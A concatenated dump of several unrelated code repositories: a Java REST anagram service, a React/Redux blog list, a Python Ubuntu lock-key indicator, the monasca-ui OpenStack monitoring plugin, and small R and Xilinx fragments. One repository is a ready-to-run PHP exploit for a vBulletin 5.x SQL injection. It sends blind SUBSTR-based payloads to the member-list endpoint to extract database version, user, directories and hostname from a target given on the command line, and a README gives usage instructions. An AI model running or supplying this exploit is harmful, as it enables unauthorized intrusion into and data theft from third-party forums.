MetaAnalysis_Rosiglitazone.R produces 4 files:
1. LOR, LRR, RD estimates (.csv)
2. WAIC.txt
3. Bayesian model results from Stan (.txt)
4. Bayesian model diagnostic plots (.pdf)
| a5678ea29cd5add094c2dffbeee17aa80cd971c7 | [
"Markdown",
"R"
] | 4 | R | HwanheeHong/MetaAnalysis_RareEvents | b998ecc53acd415f358852ee8354f24ed712e537 | c2e3af210290108bc1a8aa3af21144e9bdf4bebf |
refs/heads/master | <repo_name>paulfourie/anagram_maven<file_sep>/src/main/java/com/mycompany/rest_param_maven/ItemResource.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package com.mycompany.rest_param_maven;
import javax.ws.rs.Produces;
import javax.ws.rs.Consumes;
import javax.ws.rs.GET;
import javax.ws.rs.PUT;
import javax.ws.rs.DELETE;
/**
* REST Web Service
*
* @author paulf
*/
public class ItemResource {
private String anagram;
/**
* Creates a new instance of ItemResource
*/
private ItemResource(String anagram) {
this.anagram = anagram;
}
/**
* Get instance of the ItemResource
*/
public static ItemResource getInstance(String anagram) {
// The user may use some kind of persistence mechanism
// to store and restore instances of ItemResource class.
return new ItemResource(anagram);
}
/**
* Retrieves representation of an instance of com.mycompany.rest_param_maven.ItemResource
* @return an instance of java.lang.String
*/
@GET
@Produces("application/json")
public String getJson() {
data_reader l_reader = new data_reader() ;
l_reader.read_data();
l_reader.build_json( this.anagram );
// System.out.println( l_reader.p_answer ) ;
return l_reader.p_answer ;
}
/**
* PUT method for updating or creating an instance of ItemResource
* @param content representation for the resource
* @return an HTTP response with content of the updated or created resource.
*/
@PUT
@Consumes("application/json")
public void putJson(String content) {
}
/**
* DELETE method for resource ItemResource
*/
@DELETE
public void delete() {
}
}
| b84b4600a7ef4be20651720abbfce76fd7499676 | [
"Java"
] | 1 | Java | paulfourie/anagram_maven | a5e9dd650707362a2319731a1d12d5f45f2a6276 | 74b17e03571bb8780f01d94cfe1c9915fcb969e4 |
refs/heads/master | <file_sep>#!/usr/bin/php -q
<?php
/*
# AUTOR: <NAME> / Nick: googleINURL
# Blog: http://blog.inurl.com.br
# Twitter: https://twitter.com/googleinurl
# Fanpage: https://fb.com/InurlBrasil
# Pastebin http://pastebin.com/u/Googleinurl
# GIT: https://github.com/googleinurl
# PSS: http://packetstormsecurity.com/user/googleinurl
# YOUTUBE: http://youtube.com/c/INURLBrasil
# PLUS: http://google.com/+INURLBrasil
*/
error_reporting(0);
ini_set('display_errors', 0);
function __plus() {
ob_flush();
flush();
}
$GLOBALS['url'] = isset($argv[1]) ? $argv[1] : exit("\n\rDEFINA O HOST ALVO!\n\r");
$GLOBALS['arquivo'] = isset($argv[2]) ? $argv[2] : exit("\n\rDEFINA O ARQUIVO!\n\r");
$GLOBALS['expression'] = str_replace('/', '\\/', $GLOBALS['url']);
$GLOBALS['result'] = null;
function __httpPost($url, $params) {
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_HEADER, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, $params);
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 20);
curl_setopt($curl, CURLOPT_HTTPHEADER, array(
'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0',
'Accept: application/json, text/javascript, */*; q=0.01',
'X-Requested-With: XMLHttpRequest',
'Referer: https://rstforums.com/v5/memberlist',
'Accept-Language: en-US,en;q=0.5',
'Cookie: bb_lastvisit=1400483408; bb_lastactivity=0;'
));
__plus();
$output = curl_exec($curl);
(strpos($output, "Couldn't resolve host") == true) ? exit("\r\nSERVIDOR ERROR!\r\n") : NULL;
($output == FALSE) ? print htmlspecialchars(curl_error($ch)) : NULL;
curl_close($ch);
return $output;
}
function __get_dados($info, $limit) {
$post1 = 'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(' . $info . ',1 ,1)--+"+' .
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest';
$result = __httpPost($GLOBALS['url'] . '/ajax/render/memberlist_items', $post1);
$letter = 1;
$rs = null;
__plus();
while (strpos($result, 'No Users Matched Your Query') == false && $letter < $limit) {
$exploded = explode('<span class=\"h-left\">\r\n\t\t\t\t\t\t\t\t\t<a href=\"' . $GLOBALS['expression'] . '\/member\/', $result);
$username = __get_string_between($exploded[1], '">', '<\/a>');
print $username[0];
$rs.=$username[0];
__plus();
$letter++;
$result = __httpPost($GLOBALS['url'] . '/ajax/render/memberlist_items', 'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(' . $info . ',' . $letter . ',1)--+"+' .
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
}
$GLOBALS['result'].= !empty($rs) ? "{$info}=>{$rs} :: ":NULL;
__plus();
print ($letter == $limit) ? "NULL" : NULL;
}
function __get_string_between($string, $start, $end) {
$string = " " . $string;
$ini = strpos($string, $start);
if ($ini == 0)
return "";
$ini += strlen($start);
$len = strpos($string, $end, $ini) - $ini;
return substr($string, $ini, $len);
}
print "\r\nRomanian Security Team - vBulltin 5.1.2 SQL Injection /Etitado INURL - BRASIL\r";
print "\r\n--------------------------------------------------------------------------------------\r\n\r\n";
print "0x[+] ALVO=>{ " . $GLOBALS['url'];
print "\r\n0x[+] Version=>{ ";
__plus();
__get_dados("@@GLOBAL.VERSION", 4);
__plus();
print "\r\n0x[+] User=>{ ";
__plus();
__get_dados("user()", 20);
__plus();
print "\r\n0x[+] Databse=>{ ";
__plus();
__get_dados("database()", 50);
__plus();
print "\r\n0x[+] DIR BASE INSTALL=>{ ";
__get_dados("@@GLOBAL.basedir", 50);
__plus();
print "\r\n0x[+] DIR DATA INSTALL=>{ ";
__plus();
__get_dados("@@GLOBAL.datadir", 50);
__plus();
print "\r\n0x[+] SERVER INFO VERSÃO OS=>{ ";
__plus();
__get_dados("@@GLOBAL.version_compile_os", 50);
__plus();
print "\r\n0x[+] SERVER INFO VERSÃO COMPILE OS=>{ ";
__plus();
__get_dados("@@GLOBAL.version_compile_machine", 30);
__plus();
print "\r\n0x[+] SERVER INFO HOSTNAME=>{ ";
__plus();
__get_dados("@@GLOBAL.hostname", 30);
__plus();
print "\r\n\r\n--------------------------------------------------------------------------------------\r\n";
print "OUTPUT=> ".$GLOBALS['result'];
file_put_contents($arquivo, "{{$GLOBALS['url']} =>{ {$GLOBALS['result']}\r\n", FILE_APPEND);
<file_sep>- vBulletin-5.1.2-SQL-Injection
------
```
# AUTOR: <NAME> / Nick: googleINURL
# Blog: http://blog.inurl.com.br
# Twitter: https://twitter.com/googleinurl
# Fanpage: https://fb.com/InurlBrasil
# Pastebin http://pastebin.com/u/Googleinurl
# GIT: https://github.com/googleinurl
# PSS: http://packetstormsecurity.com/user/googleinurl
# YOUTUBE: http://youtube.com/c/INURLBrasil
# PLUS: http://google.com/+INURLBrasil
```
- Vendor
------
https://www.vbulletin.com
- Vulnerability Description
------
SQL Injection na plataforma vBulletin 5.0.4, 5.0.5, 5.1.0, 5.1.1, 5.1.2
- EXECUTE EXPLOIT
------
```
1 : SET TARGET.
2 : SET OUTPUT.
Execute:
php xlp.php target output.txt
```
- REFERENCE
------
[1] http://www.blackploit.com/2014/07/inyeccion-sql-en-los-foros-vbulletin.html
| e3cdfa95eb600b7b70b1520fb7e6809128b1fbe9 | [
"Markdown",
"PHP"
] | 2 | PHP | grosdev/vBulletin-5.1.2-SQL-Injection | 39e8f020338ea86f7520c04440ef814f3497db4f | cf35fde7aabaaa2c5c26b071e104da491d3aa82f |
refs/heads/master | <file_sep>import React from 'react';
import { connect } from 'react-redux';
import { fetchPosts, fetchPostsAndUsers } from './../actions';
import UserHeader from './UserHeader';
class PostList extends React.Component {
componentDidMount(){
// this.props.fetchPosts();
this.props.fetchPostsAndUsers();
}
renderList () {
return this.props.posts.map(post => {
return(
<div className="item" key={post.id}>
<i className="large middle aligned icon user" />
<div className="content">
<div className="description">
<h2>{post.title}</h2>
<p>{post.body}</p>
</div>
<UserHeader userId={post.userId} />
</div>
</div>
)
})
}
render(){
// console.log(this.props.posts)
return(
<div className="ui relaxed divided list">
{this.renderList()}
</div>
)
}
}
// Every single time our reducers run, mapStateToProps will be called again
// we will return a new object with property posts
// this object will show up as the props object in our component
const mapStateToProps = state => {
// console.log(state)
return { posts: state.posts }
}
// export default connect(null, { fetchPosts: fetchPosts }) (PostList);
export default connect(mapStateToProps, { fetchPosts: fetchPosts, fetchPostsAndUsers }) (PostList);
// In the console, we have two console logs
// When our application is first loaded up in the browser, all or our reducers run one initial time
// it will run with some action type that will not match with any ation type ,so we return our default state value of an empty array []
// SO when our app first boots up, our state object that has a posts property and that post property will have this empty array []
// After all our reducers run, the react side of our aplication is going to be rendered one time on the screeen
// So the post list component will be displayed on the screen one time. During this one time the render method is called and that will invoke the console log of this.props.posts and we see empty array, the first time our app is rendered on the screen.
// Immediately after the PostList shows up o the screen, the componentDidMount() is called, we run api call and
// In the reducer when it returns an new state with new action.payload, redux tell react to rerender itself. The PostList is rendered to the screen a second time, mapStateToProps is called second time, we get a new value of state.posts<file_sep>export default (state = [], action) => {
// if(action.type === 'FETCH_POSTS'){
// return action.payload
// }
// // to make sure we dont't return undefined from a reducer
// return state;
switch(action.type){
case 'FETCH_POSTS':
return action.payload;
default:
return state;
}
} | ea4a273e2a23e0121faf3e74d3e3983f65407029 | [
"JavaScript"
] | 2 | JavaScript | bhagirthijhamb/blogPostsApp-ReactRedux | b6787db1961f23fed7390bc572e57b23a477c589 | 2520a142ee8abe260f9fdcea808ef70b5341711c |
refs/heads/master | <repo_name>BoomyTechy/lks-indicator<file_sep>/lock_keys_status.py
#!/usr/bin/env python
#
###########################################################
# Author: <NAME> , contact: <EMAIL>
# Date: July 16,2012
# Purpose: Simple indicator of Caps, Num, and Scroll Lock
# keys for Ubuntu
#
# Written for: http://askubuntu.com/q/796985/295286
# Tested on: Ubuntu 16.04 LTS
###########################################################
# Copyright: <NAME> , 2016
#
# Permission to use, copy, modify, and distribute this software is hereby granted
# without fee, provided that the copyright notice above and this permission statement
# appear in all copies.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
# DEALINGS IN THE SOFTWARE.
import glib
import subprocess
import appindicator
import gtk
import os
class LockKeyStatusIndicator( object ):
def __init__(self):
self.app = appindicator.Indicator('LKS', '',
appindicator.CATEGORY_APPLICATION_STATUS)
self.app.set_status( appindicator.STATUS_ACTIVE )
self.update_label()
self.app_menu = gtk.Menu()
self.quit_app = gtk.MenuItem( 'Quit' )
self.quit_app.connect('activate', self.quit)
self.quit_app.show()
self.app_menu.append(self.quit_app)
self.app.set_menu(self.app_menu)
def run(self):
try:
gtk.main()
except KeyboardInterrupt:
pass
def quit(self,data=None):
gtk.main_quit()
def run_cmd(self,cmdlist):
try:
stdout = subprocess.check_output(cmdlist)
except subprocess.CalledProcessError:
pass
else:
if stdout:
return stdout
def key_status(self):
label = ""
status = []
keys = { '<KEY> }
for line in self.run_cmd( ['xset','q'] ).split("\n") :
if "Caps Lock:" in line:
status = line.split()
for index in 3,7,11:
if status[index] == "on" :
label = label + " [" + keys[ str(index) ] + "] "
#else:
# label = label + keys[ str(index) ]
return label
def update_label(self):
cwd = os.getcwd()
red_icon = os.path.join(cwd,"red.png")
green_icon = os.path.join(cwd,"green.png")
label_text = self.key_status()
if "[" in label_text:
self.app.set_icon( red_icon )
else:
self.app.set_icon( green_icon )
self.app.set_label( label_text )
glib.timeout_add_seconds(1,self.set_app_label )
def set_app_label(self):
self.update_label()
def main():
indicator = LockKeyStatusIndicator()
indicator.run()
if __name__ == '__main__':
main()
<file_sep>/README.md
# lks-indicator
Indicator to display status of lock keys for Ubuntu
| beed2069008b203cb5dce17ca680101a3de2dc13 | [
"Markdown",
"Python"
] | 2 | Python | BoomyTechy/lks-indicator | c8d9e4f797dfb2c93923083e734c178da83491f0 | fa885a4b05a0b6a76c41837614c8fd32b526984b |
refs/heads/master | <repo_name>SiamKreative/Responsive-EPC<file_sep>/app.jquery.js
$(function () {
var energy = [{
"letter": "A",
"start": 0,
"end": 50
}, {
"letter": "B",
"start": 50,
"end": 90
}, {
"letter": "C",
"start": 90,
"end": 150
}, {
"letter": "D",
"start": 151,
"end": 230
}, {
"letter": "E",
"start": 231,
"end": 330
}, {
"letter": "F",
"start": 331,
"end": 450
}, {
"letter": "G",
"start": 450,
"end": Infinity
}];
var gas = [{
"letter": "A",
"start": 0,
"end": 5
}, {
"letter": "B",
"start": 6,
"end": 10
}, {
"letter": "C",
"start": 11,
"end": 20
}, {
"letter": "D",
"start": 21,
"end": 35
}, {
"letter": "E",
"start": 36,
"end": 55
}, {
"letter": "F",
"start": 56,
"end": 80
}, {
"letter": "G",
"start": 80,
"end": Infinity
}];
$('.epc_graph').each(function (index, el) {
var type = eval($(el).attr('data-epcType'));
var current = $(el).attr('data-epcSelected');
$.each(type, function (index, val) {
if ((val.start <= current) && (current <= val.end)) {
$(el).find('.epc_bar:eq(' + index + ')').addClass('epc_bar_selected').append('<span class="epc_val">' + current + '</span>');
}
});
});
});<file_sep>/README.md
# Responsive Energy Performance Certificate
If you want to show the ratings for energy efficiency and greenhouse gas on your website, feel free to use those responsive widgets.
[](https://siamkreative.github.io/Responsive-EPC/)
Learn more about [Energy Performance Certificate](https://en.wikipedia.org/wiki/Energy_Performance_Certificate).
## Diagnostic de performance énergétique
Le diagnostic de performance énergétique, ou DPE, est un diagnostic réalisé en France sur des biens immobiliers. [En savoir plus sur Wikipédia →](https://fr.wikipedia.org/wiki/Diagnostic_de_performance_%C3%A9nerg%C3%A9tique)
| 1d2b0ae713c6891acecebc6c85ad8bc7c0fa292c | [
"JavaScript",
"Markdown"
] | 2 | JavaScript | SiamKreative/Responsive-EPC | eec9dce0f7b06bdd6443b660a2a1c1cedf05aa8e | 117ed6ee911efa5e6312e1b0cb7d4a9c8e63d674 |
refs/heads/master | <file_sep># vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2013 Hewlett-Packard Development Company, L.P.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.import logging
import json
import logging
from django.conf import settings # noqa
from django.contrib import messages
from django.core.urlresolvers import reverse_lazy, reverse # noqa
from django.shortcuts import redirect
from django.template import defaultfilters as filters
from django.utils.translation import ugettext as _ # noqa
from django.views.generic import View # noqa
from django.views.generic import TemplateView # noqa
from horizon import exceptions
from horizon import forms
from horizon import tables
import monascaclient.exc as exc
from monitoring.alarms import constants
from monitoring.alarms import forms as alarm_forms
from monitoring.alarms import tables as alarm_tables
from monitoring import api
LOG = logging.getLogger(__name__)
SERVICES = getattr(settings, 'MONITORING_SERVICES', [])
def get_icon(status):
if status == 'chicklet-success':
return constants.OK_ICON
if status == 'chicklet-error':
return constants.CRITICAL_ICON
if status == 'chicklet-warning':
return constants.WARNING_ICON
if status == 'chicklet-unknown':
return constants.UNKNOWN_ICON
if status == 'chicklet-notfound':
return constants.NOTFOUND_ICON
priorities = [
{'status': 'chicklet-success', 'severity': 'OK'},
{'status': 'chicklet-unknown', 'severity': 'UNDETERMINED'},
{'status': 'chicklet-warning', 'severity': 'LOW'},
{'status': 'chicklet-warning', 'severity': 'MEDIUM'},
{'status': 'chicklet-warning', 'severity': 'HIGH'},
{'status': 'chicklet-error', 'severity': 'CRITICAL'},
]
index_by_severity = {d['severity']: i for i, d in enumerate(priorities)}
def get_status(alarms):
if not alarms:
return 'chicklet-notfound'
status_index = 0
for a in alarms:
severity = alarm_tables.show_severity(a)
severity_index = index_by_severity[severity]
status_index = max(status_index, severity_index)
return priorities[status_index]['status']
def generate_status(request):
try:
alarms = api.monitor.alarm_list(request)
except Exception:
alarms = []
alarms_by_service = {}
for a in alarms:
service = alarm_tables.show_service(a)
service_alarms = alarms_by_service.setdefault(service, [])
service_alarms.append(a)
for row in SERVICES:
row['name'] = unicode(row['name'])
for service in row['services']:
service_alarms = alarms_by_service.get(service['name'], [])
service['class'] = get_status(service_alarms)
service['icon'] = get_icon(service['class'])
service['display'] = unicode(service['display'])
return SERVICES
class IndexView(View):
def dispatch(self, request, *args, **kwargs):
return redirect(constants.URL_PREFIX + 'alarm', service='all')
class AlarmServiceView(tables.DataTableView):
table_class = alarm_tables.AlarmsTable
template_name = constants.TEMPLATE_PREFIX + 'alarm.html'
def dispatch(self, *args, **kwargs):
self.service = kwargs['service']
del kwargs['service']
return super(AlarmServiceView, self).dispatch(*args, **kwargs)
def get_data(self):
results = []
try:
results = api.monitor.alarm_list(self.request)
except Exception:
messages.error(self.request, _("Could not retrieve alarms"))
if self.service != 'all':
name, value = self.service.split('=')
filtered = []
for row in results:
if (name in row['metrics'][0]['dimensions'] and
row['metrics'][0]['dimensions'][name] == value):
filtered.append(row)
results = filtered
return results
def get_context_data(self, **kwargs):
context = super(AlarmServiceView, self).get_context_data(**kwargs)
context["service"] = self.service
return context
class AlarmCreateView(forms.ModalFormView):
form_class = alarm_forms.CreateAlarmForm
template_name = constants.TEMPLATE_PREFIX + 'create.html'
def dispatch(self, *args, **kwargs):
self.service = kwargs['service']
return super(AlarmCreateView, self).dispatch(*args, **kwargs)
def get_initial(self):
return {"service": self.service}
def get_context_data(self, **kwargs):
context = super(AlarmCreateView, self).get_context_data(**kwargs)
context["cancel_url"] = self.get_success_url()
context["action_url"] = reverse(constants.URL_PREFIX + 'alarm_create',
args=(self.service,))
metrics = api.monitor.metrics_list(self.request)
# Filter out metrics for other services
if self.service != 'all':
metrics = [m for m in metrics
if m.setdefault('dimensions', {}).
setdefault('service', '') == self.service]
context["metrics"] = json.dumps(metrics)
return context
def get_success_url(self):
return reverse_lazy(constants.URL_PREFIX + 'alarm',
args=(self.service,))
def transform_alarm_data(obj):
return obj
return {'id': getattr(obj, 'id', None),
'name': getattr(obj, 'name', None),
'expression': getattr(obj, 'expression', None),
'state': filters.title(getattr(obj, 'state', None)),
'severity': filters.title(getattr(obj, 'severity', None)),
'actions_enabled': filters.title(getattr(obj, 'actions_enabled',
None)),
'notifications': getattr(obj, 'alarm_actions', None), }
def transform_alarm_history(results, name):
newlist = []
for item in results:
temp = {}
temp['alarm_id'] = item['alarm_id']
temp['name'] = name
temp['old_state'] = item['old_state']
temp['new_state'] = item['new_state']
temp['timestamp'] = item['timestamp']
temp['reason'] = item['reason']
temp['reason_data'] = item['reason_data']
newlist.append(temp)
return newlist
class AlarmDetailView(TemplateView):
template_name = constants.TEMPLATE_PREFIX + 'detail.html'
def get_object(self):
id = self.kwargs['id']
try:
if hasattr(self, "_object"):
return self._object
self._object = None
self._object = api.monitor.alarm_get(self.request, id)
notifications = []
# Fetch the notification object for each alarm_actions
for id in self._object["alarm_actions"]:
try:
notification = api.monitor.notification_get(
self.request,
id)
notifications.append(notification)
# except exceptions.NOT_FOUND:
except exc.HTTPException:
msg = _("Notification %s has already been deleted.") % id
notifications.append({"id": id,
"name": unicode(msg),
"type": "",
"address": ""})
self._object["notifications"] = notifications
return self._object
except Exception:
redirect = self.get_success_url()
exceptions.handle(self.request,
_('Unable to retrieve alarm details.'),
redirect=redirect)
return None
def get_initial(self):
self.alarm = self.get_object()
return transform_alarm_data(self.alarm)
def get_context_data(self, **kwargs):
context = super(AlarmDetailView, self).get_context_data(**kwargs)
self.get_initial()
context["alarm"] = self.alarm
context["cancel_url"] = self.get_success_url()
return context
def get_success_url(self):
return reverse_lazy(constants.URL_PREFIX + 'index')
class AlarmEditView(forms.ModalFormView):
form_class = alarm_forms.EditAlarmForm
template_name = constants.TEMPLATE_PREFIX + 'edit.html'
def dispatch(self, *args, **kwargs):
self.service = kwargs['service']
del kwargs['service']
return super(AlarmEditView, self).dispatch(*args, **kwargs)
def get_object(self):
id = self.kwargs['id']
try:
if hasattr(self, "_object"):
return self._object
self._object = None
self._object = api.monitor.alarm_get(self.request, id)
notifications = []
# Fetch the notification object for each alarm_actions
for id in self._object["alarm_actions"]:
try:
notification = api.monitor.notification_get(
self.request,
id)
notifications.append(notification)
# except exceptions.NOT_FOUND:
except exc.HTTPException:
msg = _("Notification %s has already been deleted.") % id
messages.warning(self.request, msg)
self._object["notifications"] = notifications
return self._object
except Exception:
redirect = self.get_success_url()
exceptions.handle(self.request,
_('Unable to retrieve alarm details.'),
redirect=redirect)
return None
def get_initial(self):
self.alarm = self.get_object()
return transform_alarm_data(self.alarm)
def get_context_data(self, **kwargs):
context = super(AlarmEditView, self).get_context_data(**kwargs)
id = self.kwargs['id']
context["cancel_url"] = self.get_success_url()
context["action_url"] = reverse(constants.URL_PREFIX + 'alarm_edit',
args=(self.service, id,))
return context
def get_success_url(self):
return reverse_lazy(constants.URL_PREFIX + 'alarm',
args=(self.service,))
class AlarmHistoryView(tables.DataTableView):
table_class = alarm_tables.AlarmHistoryTable
template_name = constants.TEMPLATE_PREFIX + 'alarm_history.html'
def dispatch(self, *args, **kwargs):
return super(AlarmHistoryView, self).dispatch(*args, **kwargs)
def get_data(self):
id = self.kwargs['id']
name = self.kwargs['name']
results = []
try:
results = api.monitor.alarm_history(self.request, id)
except Exception:
messages.error(self.request,
_("Could not retrieve alarm history for %s") % id)
return transform_alarm_history(results, name)
def get_context_data(self, **kwargs):
context = super(AlarmHistoryView, self).get_context_data(**kwargs)
return context
<file_sep>from django.core import urlresolvers
from mock import patch, call # noqa
from monitoring.test import helpers
from monitoring.alarms import constants
INDEX_URL = urlresolvers.reverse(
constants.URL_PREFIX + 'index')
ALARMS_URL = urlresolvers.reverse(
constants.URL_PREFIX + 'alarm', args=('service=nova',))
CREATE_URL = urlresolvers.reverse(
constants.URL_PREFIX + 'alarm_create', args=('nova',))
DETAIL_URL = urlresolvers.reverse(
constants.URL_PREFIX + 'alarm_detail', args=('12345',))
class AlarmsTest(helpers.TestCase):
def test_alarms_get(self):
with patch('monitoring.api.monitor', **{
'spec_set': ['alarm_list'],
'alarm_list.return_value': [],
}) as mock:
res = self.client.get(ALARMS_URL)
self.assertEqual(mock.alarm_list.call_count, 1)
self.assertTemplateUsed(
res, 'monitoring/alarms/alarm.html')
def test_alarms_create(self):
with patch('monitoring.api.monitor', **{
'spec_set': ['notification_list', 'metrics_list'],
'notification_list.return_value': [],
'metrics_list.return_value': [],
}) as mock:
res = self.client.get(CREATE_URL)
self.assertEqual(mock.notification_list.call_count, 1)
self.assertEqual(mock.metrics_list.call_count, 1)
self.assertTemplateUsed(
res, 'monitoring/alarms/_create.html')
def test_alarms_detail(self):
with patch('monitoring.api.monitor', **{
'spec_set': ['alarm_get'],
'alarm_get.return_value': {
'alarm_actions': []
}
}) as mock:
res = self.client.get(DETAIL_URL)
self.assertEqual(mock.alarm_get.call_count, 1)
self.assertTemplateUsed(
res, 'monitoring/alarms/_detail.html')
<file_sep>
# Services being monitored
MONITORING_SERVICES = [
{'name': _('OpenStack Services'),
'groupBy': 'service'},
{'name': _('Servers'),
'groupBy': 'hostname'}
]
<file_sep>monasca-ui
==========
Monasca UI is implemented as a horizon plugin that adds panels to horizon. It is installed into devstack
by monasca-vagrant. For a UI development setup:
* git clone https://github.com/openstack/horizon.git # clone horizon
* git clone https://github.com/stackforge/monasca-ui.git # clone monasca-ui
* git clone https://github.com/hpcloud-mon/grafana.git
* cd horizon
* cp ../monasca-ui/enabled/* openstack_dashbaord/local/enabled # Copy enabled files
* ln -s ../monasca-ui/monitoring monitoring
* ln -s ../../../grafana/src monitoring/static/grafana
* tools/with_venv.sh pip install -r ../monasca-ui/requirements.txt
* cat ../monasca-ui/local_settings.py >> openstack_dashboard/local/local_settings.py
#
License
Copyright (c) 2014 Hewlett-Packard Development Company, L.P.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied.
See the License for the specific language governing permissions and
limitations under the License.
<file_sep>pbr>=0.5.21,<1.0
# Horizon Core Requirements
django>=1.4,<1.6
django_compressor>=1.3
django_openstack_auth>=1.1.3
eventlet>=0.13.0
kombu>=2.4.8
iso8601>=0.1.8
netaddr>=0.7.6
pytz>=2010h
# Horizon Utility Requirements
# for SECURE_KEY generation
lockfile>=0.8
python-monascaclient
<file_sep># vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2013 Hewlett-Packard Development Company, L.P.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.import logging
import json
import logging
from django.conf import settings # noqa
from django.http import HttpResponse # noqa
from django.views.generic import TemplateView # noqa
from monitoring.overview import constants
from monitoring.alarms import tables as alarm_tables
from monitoring import api
LOG = logging.getLogger(__name__)
SERVICES = getattr(settings, 'MONITORING_SERVICES', [])
def get_icon(status):
if status == 'chicklet-success':
return constants.OK_ICON
if status == 'chicklet-error':
return constants.CRITICAL_ICON
if status == 'chicklet-warning':
return constants.WARNING_ICON
if status == 'chicklet-unknown':
return constants.UNKNOWN_ICON
if status == 'chicklet-notfound':
return constants.NOTFOUND_ICON
priorities = [
{'status': 'chicklet-success', 'severity': 'OK'},
{'status': 'chicklet-unknown', 'severity': 'UNDETERMINED'},
{'status': 'chicklet-warning', 'severity': 'LOW'},
{'status': 'chicklet-warning', 'severity': 'MEDIUM'},
{'status': 'chicklet-warning', 'severity': 'HIGH'},
{'status': 'chicklet-error', 'severity': 'CRITICAL'},
]
index_by_severity = {d['severity']: i for i, d in enumerate(priorities)}
def show_by_dimension(data, dim_name):
if 'dimensions' in data['metrics'][0]:
dimensions = data['metrics'][0]['dimensions']
if dim_name in dimensions:
return str(data['metrics'][0]['dimensions'][dim_name])
return ""
def get_status(alarms):
if not alarms:
return 'chicklet-notfound'
status_index = 0
for a in alarms:
severity = alarm_tables.show_severity(a)
severity_index = index_by_severity[severity]
status_index = max(status_index, severity_index)
return priorities[status_index]['status']
def generate_status(request):
try:
alarms = api.monitor.alarm_list(request)
except Exception:
alarms = []
alarms_by_service = {}
for a in alarms:
service = alarm_tables.get_service(a)
service_alarms = alarms_by_service.setdefault(service, [])
service_alarms.append(a)
for row in SERVICES:
row['name'] = unicode(row['name'])
if 'groupBy' in row:
alarms_by_group = {}
for a in alarms:
group = show_by_dimension(a, row['groupBy'])
if group:
group_alarms = alarms_by_group.setdefault(group, [])
group_alarms.append(a)
services = []
for group, group_alarms in alarms_by_group.items():
service = {
'display': group,
'name': "%s=%s" % (row['groupBy'], group),
'class': get_status(group_alarms)
}
service['icon'] = get_icon(service['class'])
services.append(service)
row['services'] = services
else:
for service in row['services']:
service_alarms = alarms_by_service.get(service['name'], [])
service['class'] = get_status(service_alarms)
service['icon'] = get_icon(service['class'])
service['display'] = unicode(service['display'])
return SERVICES
class IndexView(TemplateView):
template_name = constants.TEMPLATE_PREFIX + 'index.html'
def get_context_data(self, **kwargs):
context = super(IndexView, self).get_context_data(**kwargs)
context["token"] = self.request.user.token.id
return context
class StatusView(TemplateView):
template_name = ""
def get(self, request, *args, **kwargs):
ret = {
'series': generate_status(self.request),
'settings': {}
}
return HttpResponse(json.dumps(ret),
content_type='application/json')
| 621fcf1b20ef66a1aa8b7ecfe74d929a0f4f51c1 | [
"Markdown",
"Python",
"Text"
] | 6 | Python | rbak1/monasca-ui | 119d06ff9fb8696aa8dd71b2075e43250951ddfd | 2a4cc3b8debb03c83623b60380d7d69475e1b115 |
refs/heads/master | <file_sep>/**********************************************************************/
/* ____ ____ */
/* / /\/ / */
/* /___/ \ / */
/* \ \ \/ */
/* \ \ Copyright (c) 2003-2009 Xilinx, Inc. */
/* / / All Right Reserved. */
/* /---/ /\ */
/* \ \ / \ */
/* \___\/\___\ */
/***********************************************************************/
/* This file is designed for use with ISim build 0xa0883be4 */
#define XSI_HIDE_SYMBOL_SPEC true
#include "xsi.h"
#include <memory.h>
#ifdef __GNUC__
#include <stdlib.h>
#else
#include <malloc.h>
#define alloca _alloca
#endif
static const char *ng0 = "//ad/eng/users/d/g/dginoza/My Documents/EC551/Project_test/window.v";
static unsigned int ng1[] = {0U, 0U};
static unsigned int ng2[] = {31U, 0U};
static unsigned int ng3[] = {8U, 0U};
static unsigned int ng4[] = {50U, 0U};
static unsigned int ng5[] = {1U, 0U};
static int ng6[] = {0, 0};
static int ng7[] = {2, 0};
